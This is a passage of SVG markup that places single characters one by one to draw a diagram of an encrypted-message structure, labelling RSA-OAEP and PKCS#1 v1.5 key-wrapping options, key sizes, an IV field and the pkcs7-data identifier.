<text text-anchor="middle" x="136" y="212" fill="currentColor">p</text>
<text text-anchor="middle" x="136" y="260" fill="currentColor">e</text>
<text text-anchor="middle" x="136" y="276" fill="currentColor">p</text>
<text text-anchor="middle" x="136" y="292" fill="currentColor">:</text>
<text text-anchor="middle" x="136" y="308" fill="currentColor">s</text>
<text text-anchor="middle" x="136" y="324" fill="currentColor">C</text>
<text text-anchor="middle" x="136" y="340" fill="currentColor">5</text>
<text text-anchor="middle" x="144" y="20" fill="currentColor">.</text>
<text text-anchor="middle" x="144" y="68" fill="currentColor">c</text>
<text text-anchor="middle" x="144" y="84" fill="currentColor">n</text>
<text text-anchor="middle" x="144" y="100" fill="currentColor">u</text>
<text text-anchor="middle" x="144" y="132" fill="currentColor">r</text>
<text text-anchor="middle" x="144" y="148" fill="currentColor">A</text>
<text text-anchor="middle" x="144" y="164" fill="currentColor">A</text>
<text text-anchor="middle" x="144" y="180" fill="currentColor">A</text>
<text text-anchor="middle" x="144" y="196" fill="currentColor">S</text>
<text text-anchor="middle" x="144" y="212" fill="currentColor">t</text>
<text text-anchor="middle" x="144" y="260" fill="currentColor">n</text>
<text text-anchor="middle" x="144" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="144" y="308" fill="currentColor">:</text>
<text text-anchor="middle" x="144" y="324" fill="currentColor">I</text>
<text text-anchor="middle" x="144" y="340" fill="currentColor">6</text>
<text text-anchor="middle" x="152" y="20" fill="currentColor">1</text>
<text text-anchor="middle" x="152" y="68" fill="currentColor">i</text>
<text text-anchor="middle" x="152" y="84" fill="currentColor">:</text>
<text text-anchor="middle" x="152" y="100" fill="currentColor">b</text>
<text text-anchor="middle" x="152" y="116" fill="currentColor">S</text>
<text text-anchor="middle" x="152" y="132" fill="currentColor">y</text>
<text text-anchor="middle" x="152" y="148" fill="currentColor">E</text>
<text text-anchor="middle" x="152" y="164" fill="currentColor">E</text>
<text text-anchor="middle" x="152" y="180" fill="currentColor">E</text>
<text text-anchor="middle" x="152" y="196" fill="currentColor">H</text>
<text text-anchor="middle" x="152" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="152" y="260" fill="currentColor">t</text>
<text text-anchor="middle" x="152" y="276" fill="currentColor">:</text>
<text text-anchor="middle" x="152" y="292" fill="currentColor">a</text>
<text text-anchor="middle" x="152" y="324" fill="currentColor">T</text>
<text text-anchor="middle" x="152" y="340" fill="currentColor">-</text>
<text text-anchor="middle" x="160" y="20" fill="currentColor">.</text>
<text text-anchor="middle" x="160" y="68" fill="currentColor">p</text>
<text text-anchor="middle" x="160" y="100" fill="currentColor">j</text>
<text text-anchor="middle" x="160" y="116" fill="currentColor">H</text>
<text text-anchor="middle" x="160" y="132" fill="currentColor">p</text>
<text text-anchor="middle" x="160" y="148" fill="currentColor">S</text>
<text text-anchor="middle" x="160" y="164" fill="currentColor">S</text>
<text text-anchor="middle" x="160" y="180" fill="currentColor">S</text>
<text text-anchor="middle" x="160" y="196" fill="currentColor">A</text>
<text text-anchor="middle" x="160" y="212" fill="currentColor">d</text>
<text text-anchor="middle" x="160" y="260" fill="currentColor">I</text>
<text text-anchor="middle" x="160" y="292" fill="currentColor">e</text>
<text text-anchor="middle" x="160" y="308" fill="currentColor">{</text>
<text text-anchor="middle" x="160" y="340" fill="currentColor">C</text>
<text text-anchor="middle" x="168" y="20" fill="currentColor">7</text>
<text text-anchor="middle" x="168" y="68" fill="currentColor">i</text>
<text text-anchor="middle" x="168" y="84" fill="currentColor">2</text>
<text text-anchor="middle" x="168" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="168" y="116" fill="currentColor">A</text>
<text text-anchor="middle" x="168" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="168" y="148" fill="currentColor">_</text>
<text text-anchor="middle" x="168" y="164" fill="currentColor">_</text>
<text text-anchor="middle" x="168" y="180" fill="currentColor">_</text>
<text text-anchor="middle" x="168" y="196" fill="currentColor">-</text>
<text text-anchor="middle" x="168" y="212" fill="currentColor">K</text>
<text text-anchor="middle" x="168" y="260" fill="currentColor">n</text>
<text text-anchor="middle" x="168" y="276" fill="currentColor">1</text>
<text text-anchor="middle" x="168" y="292" fill="currentColor">s</text>
<text text-anchor="middle" x="168" y="324" fill="currentColor">e</text>
<text text-anchor="middle" x="168" y="340" fill="currentColor">B</text>
<text text-anchor="middle" x="176" y="20" fill="currentColor">.</text>
<text text-anchor="middle" x="176" y="68" fill="currentColor">e</text>
<text text-anchor="middle" x="176" y="100" fill="currentColor">c</text>
<text text-anchor="middle" x="176" y="116" fill="currentColor">-</text>
<text text-anchor="middle" x="176" y="132" fill="currentColor">i</text>
<text text-anchor="middle" x="176" y="148" fill="currentColor">O</text>
<text text-anchor="middle" x="176" y="164" fill="currentColor">O</text>
<text text-anchor="middle" x="176" y="180" fill="currentColor">P</text>
<text text-anchor="middle" x="176" y="196" fill="currentColor">2</text>
<text text-anchor="middle" x="176" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="176" y="260" fill="currentColor">f</text>
<text text-anchor="middle" x="176" y="276" fill="currentColor">.</text>
<text text-anchor="middle" x="176" y="292" fill="currentColor">-</text>
<text text-anchor="middle" x="176" y="308" fill="currentColor">I</text>
<text text-anchor="middle" x="176" y="324" fill="currentColor">n</text>
<text text-anchor="middle" x="176" y="340" fill="currentColor">C</text>
<text text-anchor="middle" x="184" y="20" fill="currentColor">3</text>
<text text-anchor="middle" x="184" y="68" fill="currentColor">n</text>
<text text-anchor="middle" x="184" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="184" y="116" fill="currentColor">2</text>
<text text-anchor="middle" x="184" y="132" fill="currentColor">o</text>
<text text-anchor="middle" x="184" y="148" fill="currentColor">A</text>
<text text-anchor="middle" x="184" y="164" fill="currentColor">A</text>
<text text-anchor="middle" x="184" y="180" fill="currentColor">K</text>
<text text-anchor="middle" x="184" y="196" fill="currentColor">5</text>
<text text-anchor="middle" x="184" y="212" fill="currentColor">y</text>
<text text-anchor="middle" x="184" y="260" fill="currentColor">o</text>
<text text-anchor="middle" x="184" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="184" y="292" fill="currentColor">2</text>
<text text-anchor="middle" x="184" y="308" fill="currentColor">V</text>
<text text-anchor="middle" x="184" y="324" fill="currentColor">c</text>
<text text-anchor="middle" x="192" y="68" fill="currentColor">t</text>
<text text-anchor="middle" x="192" y="100" fill="currentColor">K</text>
<text text-anchor="middle" x="192" y="116" fill="currentColor">5</text>
<text text-anchor="middle" x="192" y="132" fill="currentColor">n</text>
<text text-anchor="middle" x="192" y="148" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="164" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="180" fill="currentColor">C</text>
<text text-anchor="middle" x="192" y="196" fill="currentColor">6</text>
<text text-anchor="middle" x="192" y="212" fill="currentColor">:</text>
<text text-anchor="middle" x="192" y="276" fill="currentColor">.</text>
<text text-anchor="middle" x="192" y="292" fill="currentColor">5</text>
<text text-anchor="middle" x="192" y="308" fill="currentColor">:</text>
<text text-anchor="middle" x="192" y="324" fill="currentColor">r</text>
<text text-anchor="middle" x="192" y="340" fill="currentColor">c</text>
<text text-anchor="middle" x="200" y="68" fill="currentColor">I</text>
<text text-anchor="middle" x="200" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="200" y="116" fill="currentColor">6</text>
<text text-anchor="middle" x="200" y="132" fill="currentColor">A</text>
<text text-anchor="middle" x="200" y="148" fill="currentColor">P</text>
<text text-anchor="middle" x="200" y="164" fill="currentColor">P</text>
<text text-anchor="middle" x="200" y="180" fill="currentColor">S</text>
<text text-anchor="middle" x="200" y="196" fill="currentColor">,</text>
<text text-anchor="middle" x="200" y="276" fill="currentColor">8</text>
<text text-anchor="middle" x="200" y="292" fill="currentColor">6</text>
<text text-anchor="middle" x="200" y="324" fill="currentColor">y</text>
<text text-anchor="middle" x="200" y="340" fill="currentColor">i</text>
<text text-anchor="middle" x="208" y="20" fill="currentColor">(</text>
<text text-anchor="middle" x="208" y="68" fill="currentColor">n</text>
<text text-anchor="middle" x="208" y="100" fill="currentColor">y</text>
<text text-anchor="middle" x="208" y="116" fill="currentColor">(</text>
<text text-anchor="middle" x="208" y="132" fill="currentColor">l</text>
<text text-anchor="middle" x="208" y="148" fill="currentColor">_</text>
<text text-anchor="middle" x="208" y="164" fill="currentColor">_</text>
<text text-anchor="middle" x="208" y="180" fill="currentColor">1</text>
<text text-anchor="middle" x="208" y="212" fill="currentColor">2</text>
<text text-anchor="middle" x="208" y="228" fill="currentColor">3</text>
<text text-anchor="middle" x="208" y="244" fill="currentColor">5</text>
<text text-anchor="middle" x="208" y="276" fill="currentColor">4</text>
<text text-anchor="middle" x="208" y="292" fill="currentColor">-</text>
<text text-anchor="middle" x="208" y="308" fill="currentColor">1</text>
<text text-anchor="middle" x="208" y="324" fill="currentColor">p</text>
<text text-anchor="middle" x="208" y="340" fill="currentColor">p</text>
<text text-anchor="middle" x="216" y="20" fill="currentColor">p</text>
<text text-anchor="middle" x="216" y="68" fill="currentColor">f</text>
<text text-anchor="middle" x="216" y="100" fill="currentColor">I</text>
<text text-anchor="middle" x="216" y="116" fill="currentColor">a</text>
<text text-anchor="middle" x="216" y="132" fill="currentColor">g</text>
<text text-anchor="middle" x="216" y="148" fill="currentColor">S</text>
<text text-anchor="middle" x="216" y="164" fill="currentColor">S</text>
<text text-anchor="middle" x="216" y="180" fill="currentColor">_</text>
<text text-anchor="middle" x="216" y="196" fill="currentColor">m</text>
<text text-anchor="middle" x="216" y="212" fill="currentColor">5</text>
<text text-anchor="middle" x="216" y="228" fill="currentColor">8</text>
<text text-anchor="middle" x="216" y="244" fill="currentColor">1</text>
<text text-anchor="middle" x="216" y="276" fill="currentColor">0</text>
<text text-anchor="middle" x="216" y="292" fill="currentColor">c</text>
<text text-anchor="middle" x="216" y="308" fill="currentColor">6</text>
<text text-anchor="middle" x="216" y="324" fill="currentColor">t</text>
<text text-anchor="middle" x="216" y="340" fill="currentColor">h</text>
<text text-anchor="middle" x="224" y="20" fill="currentColor">k</text>
<text text-anchor="middle" x="224" y="68" fill="currentColor">o</text>
<text text-anchor="middle" x="224" y="100" fill="currentColor">d</text>
<text text-anchor="middle" x="224" y="116" fill="currentColor">t</text>
<text text-anchor="middle" x="224" y="132" fill="currentColor">o</text>
<text text-anchor="middle" x="224" y="148" fill="currentColor">H</text>
<text text-anchor="middle" x="224" y="164" fill="currentColor">H</text>
<text text-anchor="middle" x="224" y="180" fill="currentColor">V</text>
<text text-anchor="middle" x="224" y="196" fill="currentColor">g</text>
<text text-anchor="middle" x="224" y="212" fill="currentColor">6</text>
<text text-anchor="middle" x="224" y="228" fill="currentColor">4</text>
<text text-anchor="middle" x="224" y="244" fill="currentColor">2</text>
<text text-anchor="middle" x="224" y="276" fill="currentColor">.</text>
<text text-anchor="middle" x="224" y="292" fill="currentColor">b</text>
<text text-anchor="middle" x="224" y="324" fill="currentColor">e</text>
<text text-anchor="middle" x="224" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="232" y="20" fill="currentColor">c</text>
<text text-anchor="middle" x="232" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="232" y="116" fill="currentColor">t</text>
<text text-anchor="middle" x="232" y="132" fill="currentColor">r</text>
<text text-anchor="middle" x="232" y="148" fill="currentColor">A</text>
<text text-anchor="middle" x="232" y="164" fill="currentColor">A</text>
<text text-anchor="middle" x="232" y="180" fill="currentColor">1</text>
<text text-anchor="middle" x="232" y="196" fill="currentColor">f</text>
<text text-anchor="middle" x="232" y="276" fill="currentColor">1</text>
<text text-anchor="middle" x="232" y="292" fill="currentColor">c</text>
<text text-anchor="middle" x="232" y="308" fill="currentColor">b</text>
<text text-anchor="middle" x="232" y="324" fill="currentColor">d</text>
<text text-anchor="middle" x="232" y="340" fill="currentColor">r</text>
<text text-anchor="middle" x="240" y="20" fill="currentColor">s</text>
<text text-anchor="middle" x="240" y="100" fill="currentColor">n</text>
<text text-anchor="middle" x="240" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="240" y="132" fill="currentColor">i</text>
<text text-anchor="middle" x="240" y="148" fill="currentColor">_</text>
<text text-anchor="middle" x="240" y="164" fill="currentColor">_</text>
<text text-anchor="middle" x="240" y="180" fill="currentColor">_</text>
<text text-anchor="middle" x="240" y="196" fill="currentColor">:</text>
<text text-anchor="middle" x="240" y="212" fill="currentColor">b</text>
<text text-anchor="middle" x="240" y="228" fill="currentColor">b</text>
<text text-anchor="middle" x="240" y="244" fill="currentColor">b</text>
<text text-anchor="middle" x="240" y="276" fill="currentColor">1</text>
<text text-anchor="middle" x="240" y="308" fill="currentColor">y</text>
<text text-anchor="middle" x="240" y="324" fill="currentColor">C</text>
<text text-anchor="middle" x="240" y="340" fill="currentColor">t</text>
<text text-anchor="middle" x="248" y="20" fill="currentColor">7</text>
<text text-anchor="middle" x="248" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="248" y="116" fill="currentColor">s</text>
<text text-anchor="middle" x="248" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="248" y="148" fill="currentColor">2</text>
<text text-anchor="middle" x="248" y="164" fill="currentColor">1</text>
<text text-anchor="middle" x="248" y="180" fill="currentColor">5</text>
<text text-anchor="middle" x="248" y="212" fill="currentColor">y</text>
<text text-anchor="middle" x="248" y="228" fill="currentColor">y</text>
<text text-anchor="middle" x="248" y="244" fill="currentColor">y</text>
<text text-anchor="middle" x="248" y="276" fill="currentColor">3</text>
<text text-anchor="middle" x="248" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="248" y="324" fill="currentColor">o</text>
<text text-anchor="middle" x="248" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="256" y="20" fill="currentColor">-</text>
<text text-anchor="middle" x="256" y="100" fill="currentColor">i</text>
<text text-anchor="middle" x="256" y="116" fill="currentColor">t</text>
<text text-anchor="middle" x="256" y="132" fill="currentColor">h</text>
<text text-anchor="middle" x="256" y="148" fill="currentColor">5</text>
<text text-anchor="middle" x="256" y="196" fill="currentColor">M</text>
<text text-anchor="middle" x="256" y="212" fill="currentColor">t</text>
<text text-anchor="middle" x="256" y="228" fill="currentColor">t</text>
<text text-anchor="middle" x="256" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="256" y="276" fill="currentColor">5</text>
<text text-anchor="middle" x="256" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="256" y="324" fill="currentColor">n</text>
<text text-anchor="middle" x="256" y="340" fill="currentColor">x</text>
<text text-anchor="middle" x="264" y="20" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="100" fill="currentColor">f</text>
<text text-anchor="middle" x="264" y="116" fill="currentColor">a</text>
<text text-anchor="middle" x="264" y="132" fill="currentColor">m</text>
<text text-anchor="middle" x="264" y="148" fill="currentColor">6</text>
<text text-anchor="middle" x="264" y="196" fill="currentColor">G</text>
<text text-anchor="middle" x="264" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="228" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="276" fill="currentColor">4</text>
<text text-anchor="middle" x="264" y="308" fill="currentColor">s</text>
<text text-anchor="middle" x="264" y="324" fill="currentColor">t</text>
<text text-anchor="middle" x="264" y="340" fill="currentColor">t</text>
<text text-anchor="middle" x="272" y="20" fill="currentColor">n</text>
<text text-anchor="middle" x="272" y="100" fill="currentColor">i</text>
<text text-anchor="middle" x="272" y="116" fill="currentColor">t</text>
<text text-anchor="middle" x="272" y="196" fill="currentColor">F</text>
<text text-anchor="middle" x="272" y="212" fill="currentColor">s</text>
<text text-anchor="middle" x="272" y="228" fill="currentColor">s</text>
<text text-anchor="middle" x="272" y="244" fill="currentColor">s</text>
<text text-anchor="middle" x="272" y="276" fill="currentColor">9</text>
<text text-anchor="middle" x="272" y="324" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="20" fill="currentColor">v</text>
<text text-anchor="middle" x="280" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="116" fill="currentColor">i</text>
<text text-anchor="middle" x="280" y="164" fill="currentColor">(</text>
<text text-anchor="middle" x="280" y="180" fill="currentColor">(</text>
<text text-anchor="middle" x="280" y="196" fill="currentColor">1</text>
<text text-anchor="middle" x="280" y="276" fill="currentColor">.</text>
<text text-anchor="middle" x="280" y="308" fill="currentColor">}</text>
<text text-anchor="middle" x="280" y="324" fill="currentColor">n</text>
<text text-anchor="middle" x="280" y="340" fill="currentColor">o</text>
<text text-anchor="middle" x="288" y="20" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="100" fill="currentColor">r</text>
<text text-anchor="middle" x="288" y="116" fill="currentColor">o</text>
<text text-anchor="middle" x="288" y="148" fill="currentColor">(</text>
<text text-anchor="middle" x="288" y="164" fill="currentColor">a</text>
<text text-anchor="middle" x="288" y="180" fill="currentColor">a</text>
<text text-anchor="middle" x="288" y="196" fill="currentColor">-</text>
<text text-anchor="middle" x="288" y="228" fill="currentColor">f</text>
<text text-anchor="middle" x="288" y="244" fill="currentColor">f</text>
<text text-anchor="middle" x="288" y="276" fill="currentColor">1</text>
<text text-anchor="middle" x="288" y="324" fill="currentColor">t</text>
<text text-anchor="middle" x="288" y="340" fill="currentColor">f</text>
<text text-anchor="middle" x="296" y="20" fill="currentColor">l</text>
<text text-anchor="middle" x="296" y="116" fill="currentColor">n</text>
<text text-anchor="middle" x="296" y="148" fill="currentColor">d</text>
<text text-anchor="middle" x="296" y="164" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="180" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="196" fill="currentColor">S</text>
<text text-anchor="middle" x="296" y="212" fill="currentColor">(</text>
<text text-anchor="middle" x="296" y="228" fill="currentColor">o</text>
<text text-anchor="middle" x="296" y="244" fill="currentColor">o</text>
<text text-anchor="middle" x="296" y="276" fill="currentColor">.</text>
<text text-anchor="middle" x="304" y="20" fill="currentColor">o</text>
<text text-anchor="middle" x="304" y="148" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="164" fill="currentColor">c</text>
<text text-anchor="middle" x="304" y="180" fill="currentColor">c</text>
<text text-anchor="middle" x="304" y="196" fill="currentColor">H</text>
<text text-anchor="middle" x="304" y="212" fill="currentColor">R</text>
<text text-anchor="middle" x="304" y="228" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="244" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="276" fill="currentColor">7</text>
<text text-anchor="middle" x="304" y="340" fill="currentColor">t</text>
<text text-anchor="middle" x="312" y="20" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="100" fill="currentColor">(</text>
<text text-anchor="middle" x="312" y="116" fill="currentColor">R</text>
<text text-anchor="middle" x="312" y="148" fill="currentColor">f</text>
<text text-anchor="middle" x="312" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="196" fill="currentColor">A</text>
<text text-anchor="middle" x="312" y="212" fill="currentColor">S</text>
<text text-anchor="middle" x="312" y="276" fill="currentColor">.</text>
<text text-anchor="middle" x="312" y="340" fill="currentColor">h</text>
<text text-anchor="middle" x="320" y="20" fill="currentColor">e</text>
<text text-anchor="middle" x="320" y="100" fill="currentColor">3</text>
<text text-anchor="middle" x="320" y="116" fill="currentColor">S</text>
<text text-anchor="middle" x="320" y="148" fill="currentColor">a</text>
<text text-anchor="middle" x="320" y="164" fill="currentColor">p</text>
<text text-anchor="middle" x="320" y="180" fill="currentColor">p</text>
<text text-anchor="middle" x="320" y="196" fill="currentColor">-</text>
<text text-anchor="middle" x="320" y="212" fill="currentColor">A</text>
<text text-anchor="middle" x="320" y="228" fill="currentColor">R</text>
<text text-anchor="middle" x="320" y="244" fill="currentColor">R</text>
<text text-anchor="middle" x="320" y="276" fill="currentColor">1</text>
<text text-anchor="middle" x="320" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="20" fill="currentColor">d</text>
<text text-anchor="middle" x="328" y="100" fill="currentColor">2</text>
<text text-anchor="middle" x="328" y="116" fill="currentColor">A</text>
<text text-anchor="middle" x="328" y="148" fill="currentColor">u</text>
<text text-anchor="middle" x="328" y="164" fill="currentColor">t</text>
<text text-anchor="middle" x="328" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="328" y="196" fill="currentColor">2</text>
<text text-anchor="middle" x="328" y="212" fill="currentColor">-</text>
<text text-anchor="middle" x="328" y="228" fill="currentColor">S</text>
<text text-anchor="middle" x="328" y="244" fill="currentColor">S</text>
<text text-anchor="middle" x="336" y="20" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="148" fill="currentColor">l</text>
<text text-anchor="middle" x="336" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="336" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="336" y="196" fill="currentColor">5</text>
<text text-anchor="middle" x="336" y="212" fill="currentColor">O</text>
<text text-anchor="middle" x="336" y="228" fill="currentColor">A</text>
<text text-anchor="middle" x="336" y="244" fill="currentColor">A</text>
<text text-anchor="middle" x="336" y="340" fill="currentColor">p</text>
<text text-anchor="middle" x="344" y="20" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="100" fill="currentColor">b</text>
<text text-anchor="middle" x="344" y="116" fill="currentColor">p</text>
<text text-anchor="middle" x="344" y="148" fill="currentColor">t</text>
<text text-anchor="middle" x="344" y="164" fill="currentColor">d</text>
<text text-anchor="middle" x="344" y="180" fill="currentColor">d</text>
<text text-anchor="middle" x="344" y="196" fill="currentColor">6</text>
<text text-anchor="middle" x="344" y="212" fill="currentColor">A</text>
<text text-anchor="middle" x="344" y="228" fill="currentColor">-</text>
<text text-anchor="middle" x="344" y="244" fill="currentColor">-</text>
<text text-anchor="middle" x="344" y="276" fill="currentColor">(</text>
<text text-anchor="middle" x="344" y="340" fill="currentColor">l</text>
<text text-anchor="middle" x="352" y="20" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="100" fill="currentColor">y</text>
<text text-anchor="middle" x="352" y="116" fill="currentColor">u</text>
<text text-anchor="middle" x="352" y="148" fill="currentColor">)</text>
<text text-anchor="middle" x="352" y="164" fill="currentColor">)</text>
<text text-anchor="middle" x="352" y="180" fill="currentColor">)</text>
<text text-anchor="middle" x="352" y="212" fill="currentColor">E</text>
<text text-anchor="middle" x="352" y="228" fill="currentColor">3</text>
<text text-anchor="middle" x="352" y="244" fill="currentColor">4</text>
<text text-anchor="middle" x="352" y="276" fill="currentColor">p</text>
<text text-anchor="middle" x="352" y="340" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="20" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="360" y="116" fill="currentColor">b</text>
<text text-anchor="middle" x="360" y="212" fill="currentColor">P</text>
<text text-anchor="middle" x="360" y="228" fill="currentColor">0</text>
<text text-anchor="middle" x="360" y="244" fill="currentColor">0</text>
<text text-anchor="middle" x="360" y="276" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="340" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="20" fill="currentColor">)</text>
<text text-anchor="middle" x="368" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="368" y="116" fill="currentColor">l</text>
<text text-anchor="middle" x="368" y="196" fill="currentColor">(</text>
<text text-anchor="middle" x="368" y="228" fill="currentColor">7</text>
<text text-anchor="middle" x="368" y="244" fill="currentColor">9</text>
<text text-anchor="middle" x="368" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="368" y="340" fill="currentColor">n</text>
<text text-anchor="middle" x="376" y="100" fill="currentColor">s</text>
<text text-anchor="middle" x="376" y="116" fill="currentColor">i</text>
<text text-anchor="middle" x="376" y="196" fill="currentColor">f</text>
<text text-anchor="middle" x="376" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="228" fill="currentColor">2</text>
<text text-anchor="middle" x="376" y="244" fill="currentColor">6</text>
<text text-anchor="middle" x="376" y="276" fill="currentColor">s</text>
<text text-anchor="middle" x="376" y="340" fill="currentColor">t</text>
<text text-anchor="middle" x="384" y="100" fill="currentColor">)</text>
<text text-anchor="middle" x="384" y="116" fill="currentColor">c</text>
<text text-anchor="middle" x="384" y="196" fill="currentColor">o</text>
<text text-anchor="middle" x="384" y="212" fill="currentColor">n</text>
<text text-anchor="middle" x="384" y="276" fill="currentColor">7</text>
<text text-anchor="middle" x="384" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="392" y="196" fill="currentColor">r</text>
<text text-anchor="middle" x="392" y="212" fill="currentColor">c</text>
<text text-anchor="middle" x="392" y="228" fill="currentColor">→</text>
<text text-anchor="middle" x="392" y="244" fill="currentColor">→</text>
<text text-anchor="middle" x="392" y="276" fill="currentColor">-</text>
<text text-anchor="middle" x="392" y="340" fill="currentColor">x</text>
<text text-anchor="middle" x="400" y="116" fill="currentColor">k</text>
<text text-anchor="middle" x="400" y="148" fill="currentColor">→</text>
<text text-anchor="middle" x="400" y="164" fill="currentColor">→</text>
<text text-anchor="middle" x="400" y="180" fill="currentColor">→</text>
<text text-anchor="middle" x="400" y="212" fill="currentColor">r</text>
<text text-anchor="middle" x="400" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="400" y="340" fill="currentColor">t</text>
<text text-anchor="middle" x="408" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="408" y="196" fill="currentColor">O</text>
<text text-anchor="middle" x="408" y="212" fill="currentColor">y</text>
<text text-anchor="middle" x="408" y="228" fill="currentColor">C</text>
<text text-anchor="middle" x="408" y="244" fill="currentColor">C</text>
<text text-anchor="middle" x="408" y="276" fill="currentColor">a</text>
<text text-anchor="middle" x="416" y="116" fill="currentColor">y</text>
<text text-anchor="middle" x="416" y="148" fill="currentColor">C</text>
<text text-anchor="middle" x="416" y="164" fill="currentColor">C</text>
<text text-anchor="middle" x="416" y="180" fill="currentColor">C</text>
<text text-anchor="middle" x="416" y="196" fill="currentColor">A</text>
<text text-anchor="middle" x="416" y="212" fill="currentColor">p</text>
<text text-anchor="middle" x="416" y="228" fill="currentColor">f</text>
<text text-anchor="middle" x="416" y="244" fill="currentColor">f</text>
<text text-anchor="middle" x="416" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="416" y="340" fill="currentColor">k</text>
<text text-anchor="middle" x="424" y="148" fill="currentColor">f</text>
<text text-anchor="middle" x="424" y="164" fill="currentColor">f</text>
<text text-anchor="middle" x="424" y="180" fill="currentColor">f</text>
<text text-anchor="middle" x="424" y="196" fill="currentColor">E</text>
<text text-anchor="middle" x="424" y="212" fill="currentColor">t</text>
<text text-anchor="middle" x="424" y="228" fill="currentColor">R</text>
<text text-anchor="middle" x="424" y="244" fill="currentColor">R</text>
<text text-anchor="middle" x="424" y="276" fill="currentColor">a</text>
<text text-anchor="middle" x="424" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="432" y="116" fill="currentColor">D</text>
<text text-anchor="middle" x="432" y="148" fill="currentColor">R</text>
<text text-anchor="middle" x="432" y="164" fill="currentColor">R</text>
<text text-anchor="middle" x="432" y="180" fill="currentColor">R</text>
<text text-anchor="middle" x="432" y="196" fill="currentColor">P</text>
<text text-anchor="middle" x="432" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="432" y="276" fill="currentColor">)</text>
<text text-anchor="middle" x="432" y="340" fill="currentColor">y</text>
<text text-anchor="middle" x="440" y="116" fill="currentColor">E</text>
<text text-anchor="middle" x="440" y="196" fill="currentColor">_</text>
<text text-anchor="middle" x="440" y="212" fill="currentColor">d</text>
<text text-anchor="middle" x="440" y="228" fill="currentColor">=</text>
<text text-anchor="middle" x="440" y="244" fill="currentColor">=</text>
<text text-anchor="middle" x="448" y="116" fill="currentColor">R</text>
<text text-anchor="middle" x="448" y="148" fill="currentColor">=</text>
<text text-anchor="middle" x="448" y="164" fill="currentColor">=</text>
<text text-anchor="middle" x="448" y="180" fill="currentColor">=</text>
<text text-anchor="middle" x="448" y="196" fill="currentColor">S</text>
<text text-anchor="middle" x="448" y="340" fill="currentColor">m</text>
<text text-anchor="middle" x="456" y="116" fill="currentColor">)</text>
<text text-anchor="middle" x="456" y="196" fill="currentColor">H</text>
<text text-anchor="middle" x="456" y="212" fill="currentColor">C</text>
<text text-anchor="middle" x="456" y="228" fill="currentColor">6</text>
<text text-anchor="middle" x="456" y="244" fill="currentColor">7</text>
<text text-anchor="middle" x="456" y="340" fill="currentColor">a</text>
<text text-anchor="middle" x="464" y="148" fill="currentColor">4</text>
<text text-anchor="middle" x="464" y="164" fill="currentColor">4</text>
<text text-anchor="middle" x="464" y="180" fill="currentColor">4</text>
<text text-anchor="middle" x="464" y="196" fill="currentColor">A</text>
<text text-anchor="middle" x="464" y="212" fill="currentColor">E</text>
<text text-anchor="middle" x="464" y="228" fill="currentColor">2</text>
<text text-anchor="middle" x="464" y="244" fill="currentColor">4</text>
<text text-anchor="middle" x="464" y="340" fill="currentColor">t</text>
<text text-anchor="middle" x="472" y="148" fill="currentColor">9</text>
<text text-anchor="middle" x="472" y="164" fill="currentColor">4</text>
<text text-anchor="middle" x="472" y="180" fill="currentColor">4</text>
<text text-anchor="middle" x="472" y="196" fill="currentColor">_</text>
<text text-anchor="middle" x="472" y="212" fill="currentColor">K</text>
<text text-anchor="middle" x="472" y="228" fill="currentColor">1</text>
<text text-anchor="middle" x="472" y="244" fill="currentColor">9</text>
<text text-anchor="middle" x="472" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="480" y="116" fill="currentColor">←</text>
<text text-anchor="middle" x="480" y="148" fill="currentColor">3</text>
